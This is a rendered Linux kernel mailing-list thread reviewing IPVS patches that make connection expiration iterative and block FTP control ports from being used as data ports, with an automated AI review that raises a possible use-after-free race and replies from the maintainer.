net/netfilter/ipvs/ip_vs_conn.c +12 -5
index 6fa3e1dc534c3..c7b88ce1765dc 100644
@@ -1331,17 +1331,18 @@ static void ip_vs_conn_del(struct ip_vs_conn *cp)
 }
 
 /* Try to delete connection while holding reference */
-static void ip_vs_conn_del_put(struct ip_vs_conn *cp)
+static bool ip_vs_conn_del_put(struct ip_vs_conn *cp)
 {
 	if (timer_delete(&cp->timer)) {
 		/* Drop cp->control chain too */
 		if (cp->control)
 			cp->timeout = 0;
 		__ip_vs_conn_put(cp);
-		ip_vs_conn_expire(&cp->timer);
-	} else {
-		__ip_vs_conn_put(cp);
+		return true;
 	}
+
+	__ip_vs_conn_put(cp);
+	return false;
 }
 
 static void ip_vs_conn_expire(struct timer_list *t)
@@ -1349,6 +1350,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
 	struct netns_ipvs *ipvs = cp->ipvs;
 
+repeat:
 	/*
 	 *	do I control anybody?
 	 */
@@ -1358,6 +1360,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	/* Unlink conn if not referenced anymore */
 	if (likely(ip_vs_conn_unlink(cp))) {
 		struct ip_vs_conn *ct = cp->control;
+		bool next = false;
 
 		/* delete the timer if it is activated by other users */
 		timer_delete(&cp->timer);
@@ -1372,7 +1375,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
 			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
 				IP_VS_DBG(4, "drop controlling connection\n");
-				ip_vs_conn_del_put(ct);
+				next = ip_vs_conn_del_put(ct);
 			} else if (has_ref) {
 				__ip_vs_conn_put(ct);
 			}
@@ -1402,6 +1405,10 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		else
 			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
 		atomic_dec(&ipvs->conn_count);
+		if (next) {
+			cp = ct;
+			goto repeat;
+		}
 		return;
 	}
 
Quoted 2 lines
Quoted 2 lines
Signature · 1 line
2.43.0

Regards

--
Julian Anastasov <[email protected]>

#4 lore raw
In reply to Zihan Xi
Thank you for your contribution! Sashiko AI review found 2 potential issue(s) to consider.

Thank you for your contribution! Sashiko AI review found 2 potential issue(s) to consider.

Critical: 0 · High: 1 (1) · Medium: 0 · Low: 1

If you believe none of the issues are legitimate, please reply to each issue of Medium severity or higher and explain why the AI is wrong. If any of them are legitimate and you plan to respin, please let patchwork know by including "pw-bot: cr" as a separate line at the end of your reply (one such reply per series is enough).

- [High] ipvs: use-after-free in ip_vs_conn_expire() due to timer re- arming race
- [Low] ip_vs_conn_del_put() (net/netfilter/ipvs/ip_vs_conn.c:1333-1346) keeps its old comment "Try to delete connection while holding…

Pre-existing issues:
- [High] ip_vs_conn_del_put() (net/netfilter/ipvs/ip_vs_conn.c:1336-1341) cancels the controller's timer, drops the caller's only reference on…

--

ipvs: avoid stack overflow from recursive connection expiration

This changes ip_vs_conn_del_put() to return whether it managed to delete the controller's timer, and makes ip_vs_conn_expire() loop back with the controller instead of recursing into itself. The stated goal is to keep chain cleanup synchronous while using a single stack frame.

v1 Link: https://lore.kernel.org/all/[email protected]/

Quoted 15 lines
net/netfilter/ipvs/ip_vs_conn.c +1 -1
index 6fa3e1dc534c3..c7b88ce1765dc 100644
@@ -1331,17 +1331,18 @@ static void ip_vs_conn_del(struct ip_vs_conn *cp)
 }
 
 /* Try to delete connection while holding reference */
-static void ip_vs_conn_del_put(struct ip_vs_conn *cp)
+static bool ip_vs_conn_del_put(struct ip_vs_conn *cp)
 {
 	if (timer_delete(&cp->timer)) {
 		/* Drop cp->control chain too */
 		if (cp->control)
 			cp->timeout = 0;

net/netfilter/ipvs/ip_vs_conn.c static void ip_vs_conn_del(struct ip_vs_conn *cp) · line 1346

Quoted 10 lines
net/netfilter/ipvs/ip_vs_conn.c +4 -3
 		__ip_vs_conn_put(cp);
-		ip_vs_conn_expire(&cp->timer);
-	} else {
-		__ip_vs_conn_put(cp);
+		return true;
 	}
+
+	__ip_vs_conn_put(cp);
+	return false;
 }

[Severity: Low]
This isn't a bug, but should the comment above ip_vs_conn_del_put() be updated? On the success path the helper no longer deletes or expires the connection, it just cancels the timer, drops the caller's reference and hands the expiration back to the caller.

The sibling helper still keeps a nearly identical comment while doing the expiration itself:

	/* Try to delete connection while not holding reference */
	static void ip_vs_conn_del(struct ip_vs_conn *cp)
	{
		if (timer_delete(&cp->timer)) {
			...
			ip_vs_conn_expire(&cp->timer);
		}
	}

Could the new return value be documented, e.g. "returns true if the timer was cancelled and the caller must continue expiring @cp"? Otherwise a future caller of ip_vs_conn_del_put() written against the current comment, like the ip_vs_conn_del() users in ip_vs_random_dropentry() and expire_nodest_conn_handler(), would cancel the timer and drop the reference while leaving the conn hashed and never expired.

Quoted 28 lines
net/netfilter/ipvs/ip_vs_conn.c +3 -1
 static void ip_vs_conn_expire(struct timer_list *t)
@@ -1349,6 +1350,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
 	struct netns_ipvs *ipvs = cp->ipvs;
 
+repeat:
 	/*
 	 *	do I control anybody?
 	 */
@@ -1358,6 +1360,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	/* Unlink conn if not referenced anymore */
 	if (likely(ip_vs_conn_unlink(cp))) {
 		struct ip_vs_conn *ct = cp->control;
+		bool next = false;
 
 		/* delete the timer if it is activated by other users */
 		timer_delete(&cp->timer);
@@ -1372,7 +1375,7 @@ static void ip_vs_conn_expire(struct timer_list *t)
 			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
 			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
 				IP_VS_DBG(4, "drop controlling connection\n");
-				ip_vs_conn_del_put(ct);
+				next = ip_vs_conn_del_put(ct);
 			} else if (has_ref) {
 				__ip_vs_conn_put(ct);
 			}

net/netfilter/ipvs/ip_vs_conn.c static void ip_vs_conn_expire(struct timer_list *t) · line 1413

Quoted 9 lines
net/netfilter/ipvs/ip_vs_conn.c +4 -0
@@ -1402,6 +1405,10 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		else
 			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
 		atomic_dec(&ipvs->conn_count);
+		if (next) {
+			cp = ct;
+			goto repeat;
+		}
 		return;
 	}

[Severity: High]
One more angle on the deferral window, from the packet path side.

After ip_vs_conn_del_put(ct) returns true we own ct only by
convention: its timer has been cancelled, our reference has already been dropped by the __ip_vs_conn_put(ct) inside the helper, and ct is still hashed and still findable by ip_vs_conn_in_get() / ip_vs_conn_out_get(). Nothing in ct's state records that this context intends to come back and expire it.

So while we finish tearing down cp -- ip_vs_conn_drop_conntrack(), ip_vs_unbind_app(), ip_vs_unbind_dest(), call_rcu() and the atomic_dec(&ipvs->conn_count) -- a packet arriving on another CPU can look ct up, take a reference, and then release it through ip_vs_conn_put(), which re-arms the timer unconditionally via mod_timer(&cp->timer, jiffies + cp->timeout). With ct->timeout forced to 0 by ip_vs_conn_del_put() when ct has a controller of its own, that timer is due immediately, so ip_vs_conn_expire() can run for ct on that CPU, win the refcount_dec_if_one() in ip_vs_conn_unlink(), and hand ct to call_rcu(&ct->rcu_head, ip_vs_conn_rcu_free).

When this context then does "cp = ct; goto repeat;", the first thing it touches is atomic_read(&cp->n_control) on a connection that has already been unlinked and queued for freeing -- and since the entries via ip_vs_random_dropentry() and expire_nodest_conn_handler() reach ip_vs_conn_expire() from process context, the deferral is preemptible and the grace period can complete before we get there. Before the patch the recursive ip_vs_conn_expire(&ct->timer) call ran immediately after the timer_delete(), so this window was a few instructions wide; now it spans the entire teardown of cp.

The timer_delete() under the "delete the timer if it is activated by other users" comment does not help here either: it only catches a re-armed timer that has not fired yet, not a callback already running or completed on another CPU.

How do you want to close this? Keeping a reference on ct across the deferral (i.e. not dropping it in ip_vs_conn_del_put() when the caller asked to continue) or re-establishing ownership at the repeat label by re-checking and re-deleting ct's timer both look plausible, but the refcount bookkeeping differs quite a bit -- which one matches the intended invariant?

[Severity: High]
This isn't a race introduced by this patch, the old code also dropped the reference on ct before recursing, but does the deferral here widen the window considerably? Between ip_vs_conn_del_put(ct) returning true and "cp = ct; goto repeat;", ct is still hashed, has no pending timer, and is referenced by nobody, while the whole teardown of the previous conn runs in between (ip_vs_conn_drop_conntrack(), ip_vs_unbind_app(), ip_vs_unbind_dest(), call_rcu(), atomic_dec()).

Note that ip_vs_conn_del_put() forces ct->timeout = 0 when ct itself has a controller:

		if (cp->control)
			cp->timeout = 0;

So a concurrent reference holder finishing with ct re-arms the timer to fire on the next tick:

	static void __ip_vs_conn_put_timer(struct ip_vs_conn *cp)
	{
		unsigned long t = (cp->flags & IP_VS_CONN_F_ONE_PACKET) ?
			0 : cp->timeout;
		mod_timer(&cp->timer, jiffies+t);

		__ip_vs_conn_put(cp);
	}

Can that leave two contexts in ip_vs_conn_expire() for the same conn, with only one winning refcount_dec_if_one() inside ip_vs_conn_unlink()?

CPU0 (deferring context) CPU1 (packet path / timer)
next = ip_vs_conn_del_put(ct)

    timer_delete(&ct->timer) ok
    ct->timeout = 0
    __ip_vs_conn_put(ct)   /* refcnt 1 */
  ... teardown of cp ...
                                        ip_vs_conn_put(ct)
                                          mod_timer(&ct->timer, jiffies+0)
                                        ip_vs_conn_expire(&ct->timer)
                                          ip_vs_conn_unlink(ct) -> true
                                          call_rcu(&ct->rcu_head, ...)
  cp = ct; goto repeat;
  ip_vs_conn_unlink(ct) -> false  /* HASHED already cleared */
  expire_later:
    refcount_inc(&ct->refcnt);   /* was zero */
    ct->timeout = 60*HZ;
    __ip_vs_conn_put_timer(ct);  /* mod_timer on freed-pending conn */

Does the refcount_inc() on a refcount that already reached zero trigger refcount_warn_saturate, and does the subsequent mod_timer() touch a conn already queued for kmem_cache_free() by ip_vs_conn_rcu_free()?

The "delete the timer if it is activated by other users" timer_delete() after a successful unlink only covers a re-armed timer that has not fired yet, not a callback already running on another CPU. The comment in ip_vs_conn_expire_now() ("Using mod_timer_pending will ensure the timer is not modified after the final timer_delete in ip_vs_conn_expire") suggests the code relies on a "timer not pending means I own this conn" invariant that the plain mod_timer() in __ip_vs_conn_put_timer() does not honour.

For the process-context entries into this path, ip_vs_random_dropentry() and expire_nodest_conn_handler() both reach ip_vs_conn_del() -> ip_vs_conn_expire() with cp->timeout forced to 0 while traffic is flowing, so the deferral is also preemptible. Can the RCU grace period complete and free ct before the repeat iteration reads ct->n_control?

Would it work to keep a reference on ct across the deferral, or to re-establish ownership at the repeat entry by re-checking and re-deleting the timer?

Signature · 1 line
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1789435989.git.zihanx%40nebusec.ai
maintainer
#5 lore raw

Hello,

Quoted 22 lines · On Mon, 21 Sep 2026, [email protected] wrote:

Thank you for your contribution! Sashiko AI review found 2 potential issue(s) to consider.

Critical: 0 · High: 1 (1) · Medium: 0 · Low: 1

If you believe none of the issues are legitimate, please reply to each issue of Medium severity or higher and explain why the AI is wrong. If any of them are legitimate and you plan to respin, please let patchwork know by including "pw-bot: cr" as a separate line at the end of your reply (one such reply per series is enough).

- [High] ipvs: use-after-free in ip_vs_conn_expire() due to timer re- arming race
- [Low] ip_vs_conn_del_put() (net/netfilter/ipvs/ip_vs_conn.c:1333-1346) keeps its old comment "Try to delete connection while holding…

Pre-existing issues:
- [High] ip_vs_conn_del_put() (net/netfilter/ipvs/ip_vs_conn.c:1336-1341) cancels the controller's timer, drops the caller's only reference on…

--

Quoted 8 lines

ipvs: avoid stack overflow from recursive connection expiration

This changes ip_vs_conn_del_put() to return whether it managed to delete the controller's timer, and makes ip_vs_conn_expire() loop back with the controller instead of recursing into itself. The stated goal is to keep chain cleanup synchronous while using a single stack frame.

v1 Link: https://lore.kernel.org/all/[email protected]/

Zihan, IPVS has conn refcounting which does not look
natural: the hash table has reference and the timer callback has no reference. Let me try today to change the refcounting, so that unhashing occurs after last reference is dropped, the conn lookups already use inc_not_zero, so we will try to consider the timer_delete as successful stealing of the refcnt from the timer callback (yes, the callback should hold refcnt, not the hashing). But first let me try if the idea would be successful. As result, your change should be small as before, we should be able to delete conns safely.

Regards

--
Julian Anastasov <[email protected]>

author
#6 lore raw
Quoted 48 lines · Julian Anastasov

Hello,

Quoted 22 lines · On Mon, 21 Sep 2026, [email protected] wrote:

Thank you for your contribution! Sashiko AI review found 2 potential issue(s) to consider.

Critical: 0 · High: 1 (1) · Medium: 0 · Low: 1

If you believe none of the issues are legitimate, please reply to each issue of Medium severity or higher and explain why the AI is wrong. If any of them are legitimate and you plan to respin, please let patchwork know by including "pw-bot: cr" as a separate line at the end of your reply (one such reply per series is enough).

- [High] ipvs: use-after-free in ip_vs_conn_expire() due to timer re- arming race
- [Low] ip_vs_conn_del_put() (net/netfilter/ipvs/ip_vs_conn.c:1333-1346) keeps its old comment "Try to delete connection while holding…

Pre-existing issues:
- [High] ip_vs_conn_del_put() (net/netfilter/ipvs/ip_vs_conn.c:1336-1341) cancels the controller's timer, drops the caller's only reference on…

--

Quoted 8 lines

ipvs: avoid stack overflow from recursive connection expiration

This changes ip_vs_conn_del_put() to return whether it managed to delete the controller's timer, and makes ip_vs_conn_expire() loop back with the controller instead of recursing into itself. The stated goal is to keep chain cleanup synchronous while using a single stack frame.

v1 Link: https://lore.kernel.org/all/[email protected]/

Zihan, IPVS has conn refcounting which does not look
natural: the hash table has reference and the timer callback has no reference. Let me try today to change the refcounting, so that unhashing occurs after last reference is dropped, the conn lookups already use inc_not_zero, so we will try to consider the timer_delete as successful stealing of the refcnt from the timer callback (yes, the callback should hold refcnt, not the hashing). But first let me try if the idea would be successful. As result, your change should be small as before, we should be able to delete conns safely.

Quoted 4 lines

Regards

--
Julian Anastasov <[email protected]>

Hello Julian,

Thanks for looking into this.

The Sashiko report was generated for v2. I have already sent v3:
https://lore.kernel.org/all/[email protected]/

I'll wait for your refcounting changes and then rework the iterative expiration fix on top of them.

Regards,
Zihan

author
#7 lore raw

PATCH v2 2/2 ipvs: reject FTP control ports as data ports

In reply to Zihan Xi

ip_vs_ftp_out() creates a wildcard data connection from the server-advertised passive port. If that port is one of the configured FTP control ports, ip_vs_conn_new() binds the FTP helper to the new connection again. A subsequent wildcard lookup can then extend a controlled-connection chain.

Reject zero and configured control ports before creating passive connections. For active mode, reject a zero client port and a data port derived from a configured control port.

Fixes 1da177e4c3f4 ("Linux-2.6.12-rc2")
Assisted-by LLM

---
changes in v2:
- Reject the data port derived from a configured control port in ip_vs_ftp_in() to cover the active-mode bypass.
- v1 Link:

    https://lore.kernel.org/all/[email protected]/
 net/netfilter/ipvs/ip_vs_ftp.c | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)
net/netfilter/ipvs/ip_vs_ftp.c +18 -0
index 9e3e005a82635..4822a1a75212d 100644
@@ -62,6 +62,17 @@ static unsigned short ports[IP_VS_APP_MAX_PORTS] = {21, 0};
 module_param_array(ports, ushort, &ports_count, 0444);
 MODULE_PARM_DESC(ports, "Ports to monitor for FTP control commands");
 
+static bool is_control_port(u16 port)
+{
+	unsigned int i;
+
+	for (i = 0; i < ports_count; i++) {
+		if (ports[i] == port)
+			return true;
+	}
+	return false;
+}
+
 
 static char *ip_vs_ftp_data_ptr(struct sk_buff *skb, struct ip_vs_iphdr *ipvsh)
 {
@@ -319,6 +330,10 @@ static int ip_vs_ftp_out(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	/* Do not redirect data to control ports */
+	if (!port || is_control_port(ntohs(port)))
+		return 0;
+
 	/* Now update or create a connection entry for it */
 	{
 		struct ip_vs_conn_param p;
@@ -529,6 +544,9 @@ static int ip_vs_ftp_in(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	if (!port || is_control_port(ntohs(cp->vport) - 1))
+		return 0;
+
 	/* Passive mode off */
 	cp->app_data = (void *) IP_VS_FTP_ACTIVE;
 
Signature · 1 line
2.43.0
maintainer
#8 lore raw

Re: [PATCH net v2 2/2] ipvs: reject FTP control ports as data ports

Hello,

Quoted 10 lines · Zihan Xi

ip_vs_ftp_out() creates a wildcard data connection from the server-advertised passive port. If that port is one of the configured FTP control ports, ip_vs_conn_new() binds the FTP helper to the new connection again. A subsequent wildcard lookup can then extend a controlled-connection chain.

Reject zero and configured control ports before creating passive connections. For active mode, reject a zero client port and a data port derived from a configured control port.

Quoted 7 lines
Fixes 1da177e4c3f4 ("Linux-2.6.12-rc2")
Assisted-by LLM

Patch looks good to me for the nf tree, thanks!

Quoted 55 lines

---
changes in v2:
- Reject the data port derived from a configured control port in ip_vs_ftp_in() to cover the active-mode bypass.
- v1 Link:

    https://lore.kernel.org/all/[email protected]/
 net/netfilter/ipvs/ip_vs_ftp.c | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)
net/netfilter/ipvs/ip_vs_ftp.c +18 -0
index 9e3e005a82635..4822a1a75212d 100644
@@ -62,6 +62,17 @@ static unsigned short ports[IP_VS_APP_MAX_PORTS] = {21, 0};
 module_param_array(ports, ushort, &ports_count, 0444);
 MODULE_PARM_DESC(ports, "Ports to monitor for FTP control commands");
 
+static bool is_control_port(u16 port)
+{
+	unsigned int i;
+
+	for (i = 0; i < ports_count; i++) {
+		if (ports[i] == port)
+			return true;
+	}
+	return false;
+}
+
 
 static char *ip_vs_ftp_data_ptr(struct sk_buff *skb, struct ip_vs_iphdr *ipvsh)
 {
@@ -319,6 +330,10 @@ static int ip_vs_ftp_out(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	/* Do not redirect data to control ports */
+	if (!port || is_control_port(ntohs(port)))
+		return 0;
+
 	/* Now update or create a connection entry for it */
 	{
 		struct ip_vs_conn_param p;
@@ -529,6 +544,9 @@ static int ip_vs_ftp_in(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	if (!port || is_control_port(ntohs(cp->vport) - 1))
+		return 0;
+
 	/* Passive mode off */
 	cp->app_data = (void *) IP_VS_FTP_ACTIVE;
 
Signature · 1 line
2.43.0

Regards

--
Julian Anastasov <[email protected]>

maintainer
#9 lore raw

Re: [PATCH net v2 2/2] ipvs: reject FTP control ports as data ports

Hello,

Quoted 20 lines · Julian Anastasov
Quoted 10 lines · Zihan Xi

ip_vs_ftp_out() creates a wildcard data connection from the server-advertised passive port. If that port is one of the configured FTP control ports, ip_vs_conn_new() binds the FTP helper to the new connection again. A subsequent wildcard lookup can then extend a controlled-connection chain.

Reject zero and configured control ports before creating passive connections. For active mode, reject a zero client port and a data port derived from a configured control port.

Quoted 7 lines
Fixes 1da177e4c3f4 ("Linux-2.6.12-rc2")
Assisted-by LLM
Quoted 3 lines

Patch looks good to me for the nf tree, thanks!

Patch is ok but needs to be resent with
the other patch:

pw-bot: changes-requested

Quoted 46 lines
Quoted 46 lines

changes in v2:
- Reject the data port derived from a configured control port in ip_vs_ftp_in() to cover the active-mode bypass.
- v1 Link:

    https://lore.kernel.org/all/[email protected]/
 net/netfilter/ipvs/ip_vs_ftp.c | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)
net/netfilter/ipvs/ip_vs_ftp.c +15 -0
index 9e3e005a82635..4822a1a75212d 100644
@@ -62,6 +62,17 @@ static unsigned short ports[IP_VS_APP_MAX_PORTS] = {21, 0};
 module_param_array(ports, ushort, &ports_count, 0444);
 MODULE_PARM_DESC(ports, "Ports to monitor for FTP control commands");
 
+static bool is_control_port(u16 port)
+{
+	unsigned int i;
+
+	for (i = 0; i < ports_count; i++) {
+		if (ports[i] == port)
+			return true;
+	}
+	return false;
+}
+
 
 static char *ip_vs_ftp_data_ptr(struct sk_buff *skb, struct ip_vs_iphdr *ipvsh)
 {
@@ -319,6 +330,10 @@ static int ip_vs_ftp_out(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	/* Do not redirect data to control ports */
+	if (!port || is_control_port(ntohs(port)))
+		return 0;
+
 	/* Now update or create a connection entry for it */
 	{
 		struct ip_vs_conn_param p;
@@ -529,6 +544,9 @@ static int ip_vs_ftp_in(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
Quoted 8 lines
Quoted 8 lines
net/netfilter/ipvs/ip_vs_ftp.c +3 -0
+	if (!port || is_control_port(ntohs(cp->vport) - 1))
+		return 0;
+
 	/* Passive mode off */
 	cp->app_data = (void *) IP_VS_FTP_ACTIVE;
 
Signature · 1 line
2.43.0

Regards

--
Julian Anastasov <[email protected]>